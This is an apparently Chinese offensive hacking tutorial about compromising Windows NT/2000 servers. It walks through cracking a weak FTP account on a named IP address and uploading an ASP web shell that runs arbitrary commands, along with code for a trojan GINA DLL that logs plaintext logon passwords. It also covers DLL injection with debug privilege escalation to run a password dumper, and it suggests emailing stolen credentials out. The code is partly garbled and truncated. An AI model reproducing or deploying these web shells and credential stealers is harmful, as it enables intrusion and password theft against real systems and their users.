Windows下传统意义上的木马都是一个独立的EXE程序，它们都需要单独开一个端口来实现监听远程的客户端，并且都会去改动系统注册表或是系统文件，用来保证每次开机的时候能启动自己的目的，所以很容易被人发现，而且一旦对方主机的管理员配置了防火 墙，限制了主机开放的端口，则木马就会失效。典型的例子就是，如果你有机会去给一台主机种木马的话，最好先去ping一下对方的IP地址，如果你ping不通的话，劝你最好放弃，因为这说明对方主机肯定装了防火墙，所以对ICMP的报文不会回应。当然你的木马所开的端口也是非法端口，从而无法实现远程连接。下面我来讲讲一些木马、攻击、修改实例：其实对于NT下开启了Web服务的主机，我们可以去利用ASP的程序来实现一个简单的远程控制，这是由于ASP中的内置FSO组件可以用来实现文件的大部分操作，如果我们稍加利用就可以做出一个非常的小木马，可以用来在对方主机上实现各种文件操作，包括新建文本文件和目录，删除任意文件和目录，随意浏览对方主机所有硬盘上的文件，并且可以查看文本文件内容，还可以任意在对方主机上拷贝文件。
好了，现在我给大家介绍一个非常不错的现成的ASP管理程序，网辰在线网页维护系统，你可以通过搜索找到这套ASP的程序。既然已经有了测试程序，当然我们也还要找一个测试环境，用LETMEIN简单的找一会儿，就发现了一个目标。
我们用letmein 61.139.46.100 all g 这个命令来对61.139.46.100这台主机进行一个简单的密码探测看看结果是什么？
不错，我们很快就发现了对方主机的用户里有一个用户名为billing的朋友（嘿嘿，Ghost镜像的系统有很多是这个名字哦~~~~），他的密码恰巧也是billing。好了，我们这时候就可以用FTP连接上去看看对方的FTP目录是什么了。这里多讲一句，如果你还不是特别熟悉FTP的命令格式的话，就用一个图形界面的FTP工具好了，Windows下自带的FTP工具实在是不太方便的，但其他很多高手的文章里偏偏都是用它的多，其实CUTEFTP就可以很好的满足我们的要求，而且最重要的是非常方便，GO.....。
我们首先设置好我们的用户名和密码，还有FTP的主机地址，就可以直接连到对方主机里了。不错，我们的运气还可以，这个用户有一个可以用Web浏览的目录，也就是说非常符合我们的实验条件。快把我们准备好的几个ASP程序放过去吧，这时候我们就可以直接用鼠标把ASP程序给拽过去，是不是要比用命令行的格式快多了轻松多了　等所有程序拷贝过去以后，我们就可以用IE浏览器去对方的主机来执行我们的ASP程序了。我们在地址栏里用http　//61.139.46.100/index.asp来执行程序，首先这个ASP的管理程序会让我们输入一个密码来证明我们的身份，当然密码是我们直接在本地就设置好了的。这样可以保证其他人不会轻易利用我们辛苦种下的程序。然后我们就可以直接看到对方这台Windows 2000上的目录列表情况了。好好看看，你会发现他做的非常像一个资源管理 器，所以我们可以很轻松的上手。
我们可以利用编辑命令来查看对方主机上的文本文件，下面就是我来查看对方主机的c　\boot.ini这个文件的内容。当然也可以直接在这里更改文件的内容。
但是如果我们想要下载对方主机Web目录以外的文件　如何来实现呢？其实也很简单　只要选中我们想要的文件　然后把它拷贝到对方主机上的Web目录下就可以了。但我们怎么确定对方主机Web目录的物理路径 呢？呵呵　也很简单的　只要直接在URL后面加上一个.ida就可以看到了。
看到了对方的Web目录　在d　\inetpub\billing\下。下面我们选中d　\chat2.zip这个文件，选择复制命令，然后添入我们要复制的目录d　\inetpub\billing\2006\下就可以了。
其实用这个程序可以做很多事情，而且操作都是非常简单的，稍微看看就可以学会。讲了这么多，实际上我们还有一个问题没有解决呢，就是对方的Web目录下并没有可执行的目录，如：cgi－bin 。如果我们想要执行一个程序或是其他命令的话就不太方便的了。下面把这个我已经编译好的ASP程序代码给大家看，利用这个程序我们可以非常轻松的在对方主机上运行任意命令，而且所有程序执行后的结果我们都可以看到！
<％@ Language=VBScript ％>
<％
Dim oScript
Dim oScriptNet
Dim oFileSys　 oFile
Dim szCMD　 szTempFile
On Error Resume Next
' －－ create the COM objects that we will be using －－ '
Set oScript = Server.CreateObject　"WSCRIPT.SHELL"　
Set oScriptNet = Server.CreateObject　"WSCRIPT.NETWORK"　
Set oFileSys = Server.CreateObject　"Scripting.FileSystemObject"　
' －－ check for a command that we have posted －－ '
szCMD = Request.Form　".CMD"　
If 　szCMD <> ""　 Then
' －－ Use a poor man's pipe ... a temp file －－ '
szTempFile = "C　\" ＆ oFileSys.GetTempName　 　
Call oScript.Run 　"cmd.exe /c " ＆ szCMD ＆ " > " ＆ szTempFile　 0　 True　
Set oFile = oFileSys.OpenTextFile 　szTempFile　 1　 False　 0　
End If
％>

" method="POST">

<％
If 　IsObject　oFile　　 Then
' －－ Read the output from our command and remove the temp file －－ '
On Error Resume Next
Response.Write Server.HTMLEncode　oFile.ReadAll　
oFile.Close
Call oFileSys.DeleteFile　szTempFile　 True　
End If
％>
现在让我们把这个ASP程序传到对方主机的Web目录下，取名为cmdasp.asp，然后直接用浏览器来执行看。
我们直接用dir这个命令来查看对方主机上的文件列表怎么样？吃了一惊吧？是不是非常方便呢？下面再来看看我们用net view命令查看对方所在局域网上的主机列表的结果，最后嘛，当然是要把sam拷下来研究了，我们直接用copy命令就可以了。
非常有意思的是：如果用我们刚才的那个ASP木马是无法拷贝这个SAM文件的，因为我们的权限不够，而我们用这个ASP程序却可以实现。
讲了这么多无非是向大家推荐另外一种木马，嘿嘿。用ASP程序来帮助入侵是有很多好处的　首先它不用留在内存里，所以杀毒软件根本无法发现它　而且它应该可以绕过大部分防火墙的阻拦　因为我们是通过80端口这个合法的端口来实现我们的调用的，并没有开额外的端口出来。我们要做的就是找到一个有Web目录的用户密码，然后把我们的程序隐藏到对方目录下的一个文件里，方便以后我们随时调用，或者也可以在每次用后删除掉。毕竟这是一种非常隐蔽而且很有新意的入侵，不是吗？
 我们要在对方机器中植入木马，那我们可以通过很多种方法的，但入侵是最好的一种方法。并且很多时候我们可以通过修改DLL文件来达到不要加载到WIN.INI等文件中运行木马，有比较少见的木马就是利用修改DLL文件或替换Dll文件来实现木马入侵的。下面我们来通过讲讲远程入侵的例子来说明这种修改、替换、感染DLL文件的利害之处，远程入侵Windows NT系列系统，据我所知常用的手法有如下几种：
<1>通过与目标NT Server建立IPC NULL Session后，枚举、穷举系统账号，然后猜测简单密码，得到弱密码的可用普通账号后再做进一步攻击，或者是直接得到弱密码的管理员账号。关于这个在我的另一篇文章《Windows NT系统账号安全攻防》中介绍得比较详细，这里就不多说了。
<2>Windows 2000的登录验证漏洞。终端服务。现在很多Windows 2000服务器都安装了终端服务，但是还有为数不少的服务器都是没有安装补丁的，而且受此漏洞影响的Windows 2000不止是简体中文版，任何版本只要安装了简体中文字体都会受影响。成功利用此漏洞可以直接得到LOCAL_SYSTEM权限。
<3>数据库入侵。在Windows NT平台上跑的数据库几乎都为MS SQL Server，而MS SQL Server7.0默认安装后，内置账号sa密码是为空的。现在的SQL Server 2000就好了一点了，在安装过程中会提醒你不推荐使用空密码。SQL Server有个扩展存储过程xp_cmdshell，调用这个存储过程就可以以启动SQL Server账号　通常是LOCAL_SYSTEM　的身份执行任意命令了。
<4>利用IIS的漏洞。微软的IIS漏洞真是层出不穷，泄漏ASP源代码、Unicode、二次解码、ida溢出、printer溢出、ISAPI DLL提升权限等等，每一个都是致命的。而且通过IIS漏洞获取了数据库的账号和密码后，就可以利用上面说的第三种方法来做一些事情了。
<5>利用CGI漏洞。有不少CGI程序员都是不注意安全的，例如把数据库账号和密码存放在TXT、INC文件里面，接收用户输入的变量不做严格过滤等等，这些都是非常危险的。
<6>利用其他漏洞入侵，如第三方提供的某些程序的漏洞等等。
以上各种入侵手法网上都有大量的资料，所以我就不废话了，只是简单的列举一下，加上我很久没有入侵别人了，只是写个思路而已。
入侵成功后，我们通常都是添加一个系统管理员账号，或者把以前系统内置的、已有的某些账号激活，重置密码、加到管理员组，供自己使用　如激活guest账号　。但这些都是比较危险的，容易被管理员发现。个人认为，这个时候如果能获得系统已存在的账号的密码，那就比较方便了，以后就可以用别的用户的账号登录了。虽然这也不是很好的办法，但总比添加账号和重置某些账号的密码好很多，不是吗？
OK　那我们就来看看入侵成功后通常可以利用哪些办法来获取其他系统账号的密码。如果没有特别指出的话，以上和以下所说的入侵成功指的都是能以系统管理员身份执行命令。
第一种方法，用pwdump把所有账号的加密过的密码dump出来，然后用LophtCrack暴力破解。这种方法地球人都知道，如果密码比较简单的话，花不了多少时间就可以得到密码明文。如果密码比较复杂的话，那就看运气了，说白了就是运气＋时间。这个办法比较无聊，而且也不能直接得到用户密码的明文，不多说了。
第二种方法是用特洛伊DLL替换MSGINA，在用户登录 　从控制台登录或者是通过终端服务登录　 过程中，获取用户明文密码。这种方法有很多人已经了如指掌，但也许还有一部分人还不是很了解，那我就班门弄斧，简单介绍一下Windows 2000的引导过程和GINA。
计算机有两个引导过程，先是它本身的引导，然后是操作系统的引导。在安装过程中，Windows 2000的安装程序将数据写入了计算机主分区　引导分区　的第一个扇区中。这些数据就是“主引导记录　MBR　”，它包含了x86计算机可执行的指令。除了可执行指令外，MBR还有一个最多包含4个项目的表，它定义了主分区在磁盘上的位置。安装程序还把两个初始化Windows 2000引导序列的文件　Ntldr和Ntdetect.com　复制到引导驱动器的根目录下。同时文件boot.ini也放置在了引导驱动器的根目录下，该文件包含了启动选项。
Windows 2000操作系统引导过程分以下几步：
<1>MBR代码执行。在BIOS引导过程的最后一步，计算机将MBR读入内存，然后将控制权交给MBR。MBR中的可执行代码在分区上搜索分区表，查找一个标识了可引导标记的分区。找到第一个可引导分区后，它会读取该分区的第一个扇区，这就是引导扇区。
<2>Windows 2000启动文件执行。操作系统代码将Ntldr读入内存，启动操作系统的引导进程。Ntldr包含了只读的NTFS和FAT代码，开始时，它只是在实模式下运行，它的第一个任务是将系统切换到保护模式。第一个保护模式的实例不能为硬件保护执行物理到虚拟的转换——这个功能只有在Windows 2000操作系统引导完成后才可用。这时候所有物理内存都是可用的，并且计算机作为一个32位的机器运行。然后Ntldr启用页面交换并创建页表。接着，它从根目录下读取boot.ini文件，并在显示器上显式引导选择菜单。
<3>引导选择菜单显式。引导选择菜单出现，显式计算机上可用的操作系统选项。也可能什么都不显式，如果你的机器上只安装了Windows 2000的话。
<4>Ntdetect启动。当用户在屏幕上的菜单选定了Windows 2000时，Ntldr启动Ntdetect.com。Ntdetect.com从系统的BIOS中查询系统的设备和配置信息。Ntdetect收集到的信息被发送到注册表中，并放在HKLM\Hardware\Description的子项中。
<5>Ntoskrnl运行和HAL加载。Ntdetect执行完它的硬件检查后，把操作系统的引导进程交回给Ntldr，Ntldr启动Ntoskrnl.exe并加载hal.dll，HAL的英文Hardware Abstract Layer的缩写，意思是硬件抽象层。Ntoskrnl.exe包含了内核和可执行子系统，这是Windows NT内核模式组件的核心文件。它包含了内核、可执行体、缓存管理器、内存管理器、调度程序、安全引用监视器等等。这是真正使Windows 2000运行的文件。为了使硬件和操作系统能够交互，Ntoskrnl.exe需要hal.dll，因为它包含允许硬件和操作系统交互的代码。
<6>驱动程序加载。现在，Ntldr加载了底层的系统设备驱动程序，但服务还没有初始化。这里是引导过程的重点，从这里开始的过程称为加载过程。
<7>操作系统加载。操作系统开始加载操作系统，Windows 2000内核被初始化，然后子系统被加载和初始化，以便提供完成加载操作系统任务的最基本的系统。前面被Ntldr加载的驱动程序现在被初始化，接着其余的驱动程序和服务被初始化。如果没有什么意外的话，那么Windows 2000内核和可执行系统现在就可以运行了。会话管理子系统　smss.exe　设置用户环境并且检查注册表中的信息，然后要求加载的驱动程序和软件被加载。内核加载kerne.dlll、gdi32.dll、user32.dll，它们提供了客户程序要求的win32 API。接着，win32子系统执行下面任务： 
A. 启动winlogon.exe，它向屏幕发送登录对话框
B. 加载本地安全授权　lsass.exe　
C. 启动services.exe
好了，到这里操作系统就引导完毕，可以工作了，这时候MSGINA也已经加载了。登录进程的验证和身份验证都是在GINA（GINA － Graphical Identification and Authentication图形标识和身份验证）中实现的，微软的GINA是MSGINA.dll，实现了默认的Windows NT登录界面。关于Winlogon登录管理和GINA的更详细的信息，bingle在他的文章里面已经介绍得很详细了，我就不多说了。
MSGINA.DLL中提供了19个API，其中最先被登录进程调用的API是WlxNegotiate。这个API的功能是登录进程与操作系统协商GINA版本号的。然后分别被调用的是WlxInitialize、WlxRemoveStatusMessage、WlxLoggedOutSAS。当调用到WlxLoggedOutSAS的时候，登录对话框就出来，提示你输入用户名和密码。我们来看看WlxLoggedOutSAS的函数原型：
int WlxLoggedOutSAS　
PVOID pWlxContext　
DWORD dwSasType　
PLUID pAuthenticationId　
PSID pLogonSid　
PDWORD pdwOptions　
PHANDLE phToken　
PWLX_MPR_NOTIFY_INFO pNprNotifyInfo　
PVOID ＊pProfile
　　
倒数第二个参数是一个指向WLX_MPR_NOTIFY_ INFO结构的指针，此结构的原型如下：
Typedef struct _WLX_MPR_NOTIFY_INFO 　
PWSTR pszUserName　
PWSTR pszDomain　
PWSTR pszPassword　
PWSTR pszOldPassword　
　 WLX_MPR_NOTIFY_INFO　
看见了吗？这正是我们感兴趣的东西。
我们可以来做一个特洛伊DLL，这个DLL提供的API接口和MSGINA.DLL完全一样，然后让系统在启动过程中加载我们的GINA，我们的DLL在接收到登录进程传递的参数后，把我们感兴趣的数据　如登录用户的账号和密码　保存下来，然后转发给真正的GINA就行了。关于特洛伊DLL的编写，在SDK中有例程，但上面的例程麻烦了一点，如果单纯为了获取用户输入的密码的话，我们可以做得更简单。SDK中的例程挂接了所有的API，但其实只要挂接WlxNegotiate和WlxLoggedOutSAS两个API就行了，其余的函数做函数转发就OK了。作函数转发，最简单的方法就是像下面这样使用一个pragma指令：
＃pragma comment　linker　 "export　 WlxLoggedOnSAS=msgina. WlxLoggedOnSAS"　
这个pragma告诉链接程序，被编译的DLL应该输出一个名叫WlxLoggedOnSAS的函数。但是WlxLoggedOnSAS函数的实现实际上位于另一个包含在msgina.dll模块中名为WlxLoggedOnSAS的函数。每一个需要转发的函数都要创建一个单独的pragma代码行。我把SDK中的GinaHook稍微修改，如下：#include 
    
     
#include 
     
      
#include 
      
       
#pragma comment(linker,"/export:WlxActivateUserShell=msgina.WlxActivateUserShell")
……[省略类似上面代码15行]
typedef BOOL (WINAPI * PFWLXNEGOTIATE) (DWORD, DWORD *);
typedef int (WINAPI * PFWLXLOGGEDOUTSAS)(PVOID,DWORD,PLUID,PSID,PDWORD,
 PHANDLE,  PWLX_MPR_NOTIFY_INFO,PVOID *);
static PFWLXNEGOTIATE pfWlxNegotiate;//13
static PFWLXLOGGEDOUTSAS pfWlxLoggedOutSAS;//10
BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion,
 DWORD * pdwDllVersion)
{
 HINSTANCE hDll;
 if (!(hDll = LoadLibrary("MSGINA.DLL"))) return FALSE;
 pfWlxNegotiate = (PFWLXNEGOTIATE) 
 GetProcAddress(hDll, "WlxNegotiate");
 if (!pfWlxNegotiate) return FALSE;
 if (!pfWlxNegotiate(dwWinlogonVersion, pdwDllVersion)) 
 return FALSE;
 pfWlxLoggedOutSAS = (PFWLXLOGGEDOUTSAS)
 GetProcAddress(hDll, "WlxLoggedOutSAS");
 if (!pfWlxLoggedOutSAS) return FALSE;
 return TRUE;
}
int WINAPI WlxLoggedOutSAS (PVOID pWlxContext,
 DWORD dwSasType,
 PLUID pAuthenticationId,
 PSID pLogonSid,
 PDWORD pdwOptions,
 PHANDLE phToken,
 PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
 PVOID * pProfile)
{
 int iRet;
 iRet = pfWlxLoggedOutSAS(pWlxContext,
 dwSasType,
 pAuthenticationId,
 pLogonSid,
 pdwOptions,
 phToken,
 pMprNotifyInfo,
 pProfile);
 if(iRet == WLX_SAS_ACTION_LOGON) 
 {
//你在这里可以把WLX_MPR_NOTIFY_INFO结构中的用户名和密码记录下来 
}
 return iRet;
}
把上述代码编译成DLL文件　别忘了创建一个def文件，输出WlxNegotiate和WlxLoggedOutSAS两个API　，修改注册表，让系统启动的时候不加载默认的MSGINA，而是加载我们的DLL。这样用户在登录过程中，我们就能获取他的账号和明文密码了。具体是在
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon这个子项下面创建一个键值GinaDLL，指向我们的DLL，如果已经存在此键值，修改之。系统默认是没有这个键值的，此键值不存在，系统就默认加载system32下的MSGINA.DLL，否则就加载GinaDLL键值指向的DLL。
其实上述我们GINA编写的并不严密，没有保存现场和恢复现场　所以不具有通用行。在系统已经指定别的GINA的情况下，系统就会无法登陆了。例如服务器在已经装PcAnywhere的情况下，那么GinaDLL已经被创建，并指向％SystemRoot％\System32\awgina.dll，这时候如果修改GinaDLL的值为指向我们的GINA，那么PcAnywhere在启动的时候就会出错，导致系统蓝屏。
写的好的Gina应该这样，提供一个EXE程序和一个DLL.EXE程序负责保存现场和恢复现场。安装的时候，EXE程序检查注册表中是否有GinaDLL键值

      
     
    如果没有的话，那么则认为系统默认加载的是％SystemRoot％\system32\msgina.dll，然后安装程序创建GinaDLL键值，指向我们的GINA DLL，然后留下一个标志　通过文件或者注册表　告诉我们的GINA DLL原始GINA是msgina.dll。
如果有的话，那么则认为系统加载的是别的GINA，取得GinaDLL的值，做为标志告诉我们的GINA，修改GinaDLL指向我们的GINA DLL。
当我们的GINA DLL被系统加载的时候，通过安装程序留下的标志判断该从哪个DLL中取得GINA API的地址，而不是固执地坚持从MSGINA.DLL取得GINA API的地址。这回我们可不能偷懒做函数转发了，每个GINA API都得用GetProcAddress从原始GINA DLL中取得地址。这样做唯一不好的地方就是系统管理员查看注册表的时候，一眼就能发现了。当我们的GINA DLL获取了管理员的密码后，可以让它马上把用户名和密码Email到我们指定的信箱，然后运行前面所说的exe程序，恢复现场。恢复现场所作的只是恢复GinaDLL的值，如果本来就没有的话，那么删除GinaDLL键值。然后删除我们留下的标志和DLL文件。PcAnyWhere在安装的时候，就没有考虑到保存现场和恢复现场，所以如果安装PcAnywhere之前系统加载不是默认的MSGINA.DLL的话，那么就比较麻烦了。而且卸载PcAnywhere的时候，它好像也没有恢复现场，所以有时候会出现卸载PcAnyWhere后系统就无法登录了。通常遇到这种情况，我们可以通过远程连接注册表来修改GinaDLL，恢复系统。如果是单机的话，可以在系统启动的时候按F8进入高级模式，选择安全模式登录　带命令行　，然后运行regedit来修复就行了。
第二种方法虽然能得到用户的明文密码，但比较被动，属于守株待兔那种。OK　我们来看看更直接的方法，直接获取已经在控制台登录的用户的明文密码。大家还记得孤独剑客前段时间发布的小程序passdump吗？运行这个程序可以把缓存中用户的密码读取出来。至于缓存中的加密过的密码我们只要知道加密算法，解密也就是小事了，大家可以查找相关资料。
不过运行这个程序限制比较多，得在控制台已登录用户的进程空间里面运行才能成功。现在我们假设如下：系统管理员Sunny已经在控制台登录，入侵者通过某些手段已经攻破系统，添加了一个系统管理员账号admin，现在我们的焦点是——如何获取管理员Sunny的明文密码。通过终端服务用admin账号登录，直接运行passdump？不行。通过telnet用admin连接，运行passdump　不行。通过计划任务运行passdump　不行。为什么都不行呢？因为上述做法passdump都不是在控制台登录用户Sunny的进程空间运行，所以不能取得用户Sunny在缓存中的密码。BTW通过终端服务登录，运行passdump并不能取得自己在缓存中的密码，具体为什么大家可以动脑筋想想。
如何让passdump程序在Sunny的进程空间运行？有办法。
Windows大多数函数允许进程只对自己进行操作，这是一个很好的特性，因为他能够防止一个进程破坏另一个进程的运行。但有些函数也允许一个进程对另一个进程进行操作。Windows提供了一个API是CreateRemoteThread，这使我们能够很轻松地在另外一个进程中创建一个线程。此函数原型如下：
HANDLE CreateRemoteThread　
HANDLE hProcess　 // handle to process
LPSECURITY_ATTRIBUTES lpThreadAttributes　 // SD
SIZE_T dwStackSize　 // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress　 // thread function
LPVOID lpParameter　 // thread argument
DWORD dwCreationFlags　 // creation option
LPDWORD lpThreadId// thread identifier
　　
在别的进程里面创建线程的时候，如果直接提供线程代码的话，比较麻烦。比较简单的方法是让线程来加载我们的DLL，这样程序编写就比较模块化了。幸好LoadLibrary函数的原型和一个线程函数的原型是相同的，但其实也并不完全相同，不过的确是非常相似。两个函数都接受单个参数，并且都返回一个值。我们所要做的就是创建一个新线程，并且使线程函数的地址为LoadLibraryA或LoadLibraryW函数的地址。
OK　这样的话，我们就需要一个DLL，这个DLL所做的只是运行passdump程序，这样，当我们在Sunny的进程空间里面创建一个线程，这个线程加载我们的DLL，在DLL被加载的时候，passdump就在Sunny的进程空间里面运行了，我们也就能够得到Sunny的明文密码。
OK　我们先来写一个简单的DLL。
BOOL __stdcall DllMain　HINSTANCE hLibInstance　DWORD dwReason　LPVOID lpvReserved　
　
switch　dwReason　
　
case DLL_PROCESS_ATTACH　
system　"passdump.exe"　　
break　
default
break　
　
return TRUE　
　
这样，当调用LoadLibrary加载这个DLL的时候，就运行passdump程序。不过这样不好，加载这个DLL的时候会有控制台窗口弹出来。我们可以修改一下，改为调用CreateProcess函数来创建一个进程，这样我们可以设置某些属性，让程序运行的时候没有窗口。
BOOL __stdcall DllMain(HINSTANCE hLibInstance,DWORD dwReason,LPVOID lpvReserved)
{
switch(dwReason)
{
case DLL_PROCESS_ATTACH:
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si,sizeof(STARTUPINFO));
si.cb=sizeof(STARTUPINFO);
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=SW_HIDE;
CreateProcess("passdump.exe",NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
break;
}
default:
break;
}
return TRUE;
}
嗯　DLL已经准备好了，接下来要做的就是让Sunny的进程加载我们这个DLL到他的进程空间里面去。 程序代码如下：\\\\％s\\ipc＄"　tmp　　
WNetCancelConnection2　tmp2　CONNECT_UPDATE_PROFILE　TRUE　　
　
　
return dwRet　
　
/////////////////////////////
int ConnIPC　char ＊RemoteName　char ＊User　char ＊Pass
NETRESOURCE nr　
char RN　50　="\\\\"　
strncat　RN　RemoteName　sizeof　RN　－11　　
strcat　RN　"\\ipc＄"　　
nr.dwType=RESOURCETYPE_ANY　
nr.lpLocalName=NULL　
nr.lpRemoteName=RN　 nr.lpProvider=NULL 　
if　WNetAddConnection2　＆nr　Pass　User　FALSE　==NO_ERROR　
return 0　
else
return 1　
　
/////////////////////////////
void banner　　
　
printf　"\nPsList ==>Local and Remote process list"
"\nPower by Sunny<[email protected]>"
"\nhttp　//www.Sunny.net"
"\n2000/11/18\n"　　BOOL Inject()
{
DWORD dwRemoteProcessId=xxx;//Sunny某进程的ID
HANDLE hRemoteProcess,hRemoteThread;
char pszLibFileName[256]="GetPass.dll";//我们写的DLL的名称
char *pszLibFileRemote;
BOOL bSuccess=FALSE;
__try
{
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD
 //允许远程创建线程
 PROCESS_VM_OPERATION
 //允许远程VM操作
 PROCESS_VM_WRITE,//允许远程VM写
 FALSE,
 dwRemoteProcessId );
if(!hRemoteProcess) __leave;
int cb = (1 + strlen(pszLibFileName)) * sizeof(char);
pszLibFileRemote = (PSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
if(!pszLibFileRemote) __leave;
int iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
if(!iReturnCode) __leave;
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
 GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
if(!pfnStartAddr) __leave;
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
pfnStartAddr, pszLibFileRemote, 0, NULL);
if(!hRemoteThread) __leave;
bSuccess=TRUE;
}//end of try
__finally
{
if(hRemoteProcess!=NULL) CloseHandle(hRemoteProcess);
if(hRemoteThread!=NUL) CloseHandle(hRemoteThread);
}
return bSuccess;
}
上面这段代码只能往自己的进程里面插入DLL，而没有权限往其他用户或者系统进程里面插入DLL。这就需要提升权限了，一般来说只要给当前进程赋予SE_DEBUG_NAME特权就有权限插入了。 提升权限的代码如下：BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk=FALSE;
__try
{if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)) 
__leave;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid))
__leave;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))
__leave;
fOk=(GetLastError()==ERROR_SUCCESS);
}
__finally
{
if(hToken!=0) CloseHandle(hToken);
}
return fOk;
}
好了！程序和DLL都准备好了。不过有点要注意，通过终端服务用admin登录，然后直接运行这个程序还是不行的，CreateRemoteThread会出错，返回的错误代码是8，大概意思就不多说了，我不想多作解释。我们可以这样，启动服务器的Telnet服务，然后用admin账号Telnet上去，运行我们的程序，OK　去％SystemRoot％\pass.txt看Sunny的明文密码吧。嘿嘿，这里我并没有将所有的代码写出来，聪明的朋友一定会自己修改完善吧，嘿嘿，加入传导部分、感染部分、杀死杀毒、防火墙软件等等，嘿嘿。我们还可以调用NTDLL.DLL中未公开API枚举本地系统进程，调用MS公开的API来枚举系统进程我就不多说了，在NTDLL.DLL中其实有一个未公开API，也可以用来枚举系统进程。此方法是从别处看来的，出处记不清楚了，好像是pwdump2中的源代码中的一部分吧
＃include 
    
     
＃include 
     
      
＃include 
      
       
typedef unsigned long NTSTATUS　
typedef unsigned short USHORT　
typedef unsigned long ULONG　
typedef unsigned long DWORD　
typedef long LONG　
typedef __int64 LONGLONG　
typedef struct 　
USHORT Length　
USHORT MaxLen　
USHORT ＊Buffer　
　 UNICODE_STRING　
struct process_info 　
ULONG NextEntryDelta　
ULONG ThreadCount　
ULONG Reserved1　6　　
LARGE_INTEGER CreateTime　
LARGE_INTEGER UserTime　
LARGE_INTEGER KernelTime　
UNICODE_STRING ProcessName　
ULONG BasePriority　
ULONG ProcessId　
　　
typedef NTSTATUS 　__stdcall ＊NtQuerySystemInformation1　　
IN ULONG SysInfoClass　
IN OUT PVOID SystemInformation　
IN ULONG SystemInformationLength　
OUT PULONG RetLen
　　
int main
HINSTANCE hNtDll　
NtQuerySystemInformation1 NtQuerySystemInformation　
NTSTATUS rc　
ULONG ulNeed = 0　
void ＊buf = NULL　
size_t len = 0　
struct process_info ＊p 　
int done　
hNtDll = LoadLibrary 　"NTDLL"　　
if 　　hNtDll　
return 0　
NtQuerySystemInformation = 　NtQuerySystemInformation1　GetProcAddress 　hNtDll　
"NtQuerySystemInformation"　　
if 　　NtQuerySystemInformation　
return 0　
do 　
len ＋= 0x1000　
buf = realloc 　buf　 len　　
if 　　buf　
return 0　
rc = NtQuerySystemInformation 　5　 buf　 len　 ＆ulNeed　　
　 while 　rc == 0xc0000004　　 // STATUS_INFO_LEN_MISMATCH
if 　rc <0　 　
free 　buf　　
return 0　
　
printf　"\nProcessName ProcessID"　　
p = 　struct process_info ＊　buf　
done = 0　
while 　　done　 　
if 　　p－>ProcessName.Buffer 　= 0　　
　
printf　"\n％－20S％d"　p－>ProcessName.Buffer　p－>ProcessId　　
　
done = p－>NextEntryDelta == 0　
p = 　struct process_info ＊　　　　char ＊　p　 ＋ p－>NextEntryDelta　　
　
free 　buf　　
FreeLibrary 　hNtDll　　
return 0
      
     
    上面方法只能枚举本地的系统进程，如何枚举远程系统的进程呢？目前我只知道从PDH中取得进程信息。
先简单的说说PDH是什么东西。PDH是英文Performance Data Helper的缩写，Windows NT一直在更新这个称为Performance Data的数据库，这个数据库包含了大量的信息，例如CPU使用率，内存使用率，系统进程信息等等一大堆有用的信息，可以通过注册表函数来访问。注意，Windows 9x中并没有配置这个数据库。但是，这个数据库中的信息布局很复杂，很多人并不愿意使用它，包括我。而且刚开始的时候，它也没有自己特定的函数，只能通过现有的注册表函数来操作。后来，为了使该数据库的使用变得容易，MS开发了一组Performance Data Helper函数，包含在PDH.DLL文件中。
Windows 2000默认是允许远程注册表操作的，所以我们就可以通过连接远程系统的注册表，从它的PDH中取得我们所需要的系统进程信息了，当然这需要远程系统的Admin权限。
下面所举的例子是直接利用注册表函数来从本地/远程系统的PDH数据库中取得我们所需要的数据的，我们并没有利用PDH API。
程序代码如下：
＃include 
    
     
＃include 
     
      
＃include 
      
       
＃define INITIAL_SIZE 51200
＃define EXTEND_SIZE 12800
＃define REGKEY_PERF "software\\microsoft\\windows nt\\currentversion\\perflib"
＃define REGSUBKEY_COUNTERS "Counters"
＃define PROCESS_COUNTER "process"
＃define PROCESSID_COUNTER "id process"
＃define UNKNOWN_TASK "unknown"
＃define MaxProcessNum 52//最大进程数量
＃pragma comment　lib　"mpr.lib"　
typedef struct ProcessInfo
　
char ProcessName　128　　
DWORD dwProcessID　
　pi　
void banner　　　
int ConnIPC　char ＊　char ＊　char ＊　　
DWORD GetProcessInfo　pi ＊　char ＊　char ＊　char ＊　　
int main　int argc　char ＊＊argv
int i　iRet　
pi TaskList　MaxProcessNum　　
banner　　　
if　argc==1　
　
iRet=GetProcessInfo　TaskList　NULL　NULL　NULL　　
printf　"\nProcess Info for 　LOCAL　　"　　
　
else if　argc==4　
　
iRet=GetProcessInfo　TaskList　argv　1　　argv　2　　argv　3　　　
printf　"\nProcess Info for 　％s　　"　argv　1　　　
　
else
　
printf　"\nUsage　％s 
        
         
         
          "　argv　0　　　 return 1　 　 if　iRet>0　 for　i=0　printf　"\nProcessName ProcessID"　　 i
          
